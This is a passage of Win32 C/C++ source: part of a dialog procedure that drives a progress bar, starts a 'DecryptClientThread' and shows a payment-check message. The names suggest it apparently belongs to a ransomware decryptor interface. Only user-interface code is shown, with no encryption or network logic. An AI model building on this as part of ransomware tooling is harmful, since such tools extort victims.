SendMessage(hWndPB,
PBM_SETSTEP, (WPARAM)1, 0);
HANDLE hThread = CreateThread(
NULL,
0,
DecryptClientThread,
hDlg,
0,
NULL);
if (hThread) {
CloseHandle(hThread);
hThread = NULL;
} return (INT_PTR)TRUE;
}
case WM_COMMAND:
{
int wmId = LOWORD(wParam);
// Parse the menu selections:
switch (wmId)
{
case IDC_CANCEL_BUTTON:
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
break;
}
case WM_USER:
switch (wParam) {
case IDC_SCAN_SERVER:
SendMessage(hWndPB,
PBM_SETPOS, (WPARAM)lParam, 0);
return (INT_PTR)TRUE;
case IDC_SCAN_FOUND:
nMsgID = IDS_CHECKPAYMENTOK;
return (INT_PTR)TRUE;
case IDC_SCAN_DONE:
{
TCHAR szMsg[MAX_LOADSTRING] = _T("");
LoadString(hInst, nMsgID, szMsg, MAX_LOADSTRING);
MessageBox(hDlg, szMsg, _T("Message"), MB_OK);
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
default:
break;
}
case WM_CLOSE:
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
return (INT_PTR)FALSE;
}
```